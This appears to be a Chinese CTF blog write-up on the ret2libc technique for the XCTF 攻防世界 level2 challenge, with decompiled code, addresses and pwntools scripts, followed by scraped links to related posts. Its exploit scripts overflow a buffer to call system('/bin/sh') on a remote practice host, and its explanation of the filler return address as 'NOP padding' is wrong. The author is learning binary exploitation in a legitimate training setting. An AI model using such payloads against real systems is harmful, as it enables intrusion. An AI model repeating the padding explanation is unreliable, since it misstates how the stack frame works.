PWN头秃之旅 - 4.Retrun-into-libc(攻防世界-level1)
Retrun-into-libc,也写作Retrun2libc。libc是Linux下的ANSI C的函数库,包含了C语言最基本的库函数。
Retrun2libc的前提是NX开启,但ASLR关闭,NX开启后,我们无法执行shellcode。Retrun2libc提供了一种绕过思路:修改返回地址,让其指向内存中已有的某个函数。比如通过调整参数和栈的位置,让程序跳转到libc.so中的system函数或者exec类函数,然后运行/bin/sh。
上一篇的level0使用的解题方法就是Retrun2libc,题目给出的程序自带了一个callsystem函数,callsystem又调用了系统函数system并执行了/bin/sh。
今天的的题目level2也是用Retrun2libc的思路解题,不过比level0难度有提升。

checksec跑一下:

main伪代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return ;
}
vulnerable_function函数的伪代码:
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h] system("echo Input:");
return read(, &buf, 0x100u);
}
和level0一样,read的读入长度0x100超过了buf自身的长度0x88,因此存在溢出。解题思路是用buf覆盖返回地址然后执行/bin/sh就可以了。
函数列表里能看到system函数有现成的,找到system的地址之后我们能不能自己传入/bin/sh呢?个人理解答案是不能!因为开启了NX,无法执行shellcode。所以第一步的checksec是很有必要的,它决定了后续的解题策略。看了下网上的write up,程序里面也有现成/bin/sh,直接拿来用就好了。
具体步骤如下
1. 计算覆盖返回地址需要的字节(这里用字节不知道是否准确。。。)数 = 0x88+0x4

2.找到system函数地址: 0x08048320

3.找到/bin/sh的地址:0x0804A024

4.写脚本(自己依葫芦画瓢写了一个)
r=remote("220.249.52.133",)
payload='a'*0x88 + 'a'* + p32(0x08048320)+p32(0x0804A024)
r.recvuntil("Input")
r.sendline(payload)
r.interactive()
执行,hmmm....没成功......可能哪里没算对(又想起了咱屡战屡败的...就没一次算对过>_<)

看了下网上大大们写的,改了一下:
r=remote("220.249.52.133",)
payload='a'*0x88 + 'a'* + p32(0x08048320)+p32()+p32(0x0804A024)
r.recvuntil("Input")
r.sendline(payload)
r.interactive()
执行脚本,拿到flag:

把两种payload打出来看了下,没有加p(32):

加了p(32): 
查了一圈看到的解释是NOP填充,NOP表示什么也不做,用来对齐代码提高程序的执行速度的,把一条不想让其执行的指令用NOP覆盖,这条指令就会失去原有的功能。个人理解这里加NOP是为了覆盖system和/bin/sh之间的指令,因为这两个地址并不是连在一起的,中间还有其他指令,所以用NOP覆盖中间那段,让system执行之后就执行/bin/sh。。。不晓得理解得对不对,先放这吧,以后接触到相关的知识再回来看~
如需转载,请注明出处,这是对他人劳动成果的尊重~
PWN头秃之旅 - 4.Retrun-into-libc(攻防世界-level1)的更多相关文章
- 【pwn】攻防世界 pwn新手区wp
[pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...
- ESP8266开发之旅 基础篇① 走进ESP8266的世界
授人以鱼不如授人以渔,目的不是为了教会你具体项目开发,而是学会学习的能力.希望大家分享给你周边需要的朋友或者同学,说不定大神成长之路有博哥的奠基石... QQ技术互动交流群:ESP8266&3 ...
- 攻防世界新手区pwn writeup
CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...
- pwn篇:攻防世界进阶welpwn,LibcSearcher使用
攻防世界welpwn (搬运一篇自己在CSDN写的帖子) 链接:https://blog.csdn.net/weixin_44644249/article/details/113781356 这题主要 ...
- 攻防世界pwn高手区——pwn1
攻防世界 -- pwn1 攻防世界的一道pwn题,也有一段时间没有做pwn了,找了一道栈题热身,发现还是有些生疏了. 题目流程 拖入IDA中,题目流程如图所示,当v0为1时,存在栈溢出漏洞.在gdb中 ...
- 攻防世界PWN简单题 level0
攻防世界PWN简单题 level0 开始考验栈溢出的相关知识了 Checksec 一下文件 看看都开了什么保护 和 是多少位的程序 发现是64位的程序, 扔进IDA64.IDA YYDS.. 进入主函 ...
- 攻防世界PWN简单题 level2
攻防世界PWN简单题 level2 此题考验的是对ROP链攻击的基础 万事开头PWN第一步checksec 一下 32位的小端程序,扔进IDA 进入函数,找出栈溢出漏洞. 又是这个位置的栈溢出,rea ...
- 头秃了,二十三张图带你从源码了解Spring Boot 的启动流程~
持续原创输出,点击上方蓝字关注我 目录 前言 源码版本 从哪入手? 源码如何切分? 如何创建SpringApplication? 设置应用类型 设置初始化器(Initializer) 设置监听器(Li ...
- 头秃了,Spring Boot 自动配置了解一波~
持续原创输出,点击上方蓝字关注我 目录 前言 源码版本 @SpringBootApplication干了什么? @EnableAutoConfiguration干了什么? 总结 前言 为什么Sprin ...
随机推荐
- 【JAVA8新的时间与日期 API】- 传统时间格式化的线程安全问题
Java8之前的日期和时间API,存在一些问题,最重要的就是线程安全的问题.这些问题都在Java8中的日期和时间API中得到了解决,而且Java8中的日期和时间API更加强大. 传统时间格式化的线程安 ...
- Angular 从入坑到挖坑 - 模块简介
一.Overview Angular 入坑记录的笔记第七篇,介绍 Angular 中的模块的相关概念,了解相关的使用场景,以及知晓如何通过特性模块来组织我们的 Angular 应用 对应官方文档地址: ...
- codeforce 796C - Bank Hacking(无根树+思维)
题目 Although Inzane successfully found his beloved bone, Zane, his owner, has yet to return. To searc ...
- webpack4.X + react搭建
环境准备工作:windows7.webStorm 2017.1.4.Nodejs 8.7.0.npm 5.4.2 PS:安装的时我们都带上版本,这样即便webpack版本发生变化,也不会出现版本问题. ...
- 机器学习之KNN算法(分类)
KNN算法是解决分类问题的最简单的算法.同时也是最常用的算法.KNN算法也可以称作k近邻算法,是指K个最近的数据集,属于监督学习算法. 开发流程: 1.加载数据,加载成特征矩阵X与目标向量Y. 2.给 ...
- gRPC by .net core 3.x——概念、语法、编译
什么是grpc? grpc来自大名鼎鼎的谷歌,孵化于CNCF基金会(docker.k8s同样出自这个基金会).它是一款高性能.开源.通用的rpc框架,你可以通过它来定义rpc的请求和响应.它基于htt ...
- HDU 2157 How many ways?? 题解
题目 春天到了, HDU校园里开满了花, 姹紫嫣红, 非常美丽. 葱头是个爱花的人, 看着校花校草竞相开放, 漫步校园, 心情也变得舒畅. 为了多看看这迷人的校园, 葱头决定, 每次上课都走不同的路线 ...
- Dynamics CRM Data Encrytion error
Dynamics CRM有两个Database,一个Content DB——xxxx_MSCRM,一个Config DB——MSCRM_CONFIG. 当Content DB从其他环境Restore回 ...
- 我终于弄懂了Python的装饰器(四)
此系列文档: 1. 我终于弄懂了Python的装饰器(一) 2. 我终于弄懂了Python的装饰器(二) 3. 我终于弄懂了Python的装饰器(三) 4. 我终于弄懂了Python的装饰器(四) 四 ...
- 可见格式化模型BFC与应用
什么是BFC BFC指的是块级格式化上下文,简单的来说,BFC就是创建一个div盒子或者给已存在的盒子激活BFC,盒子内部的元素布局不影响盒子外部的元素.也就是所谓的相互隔绝,互不影响. BFC是一个 ...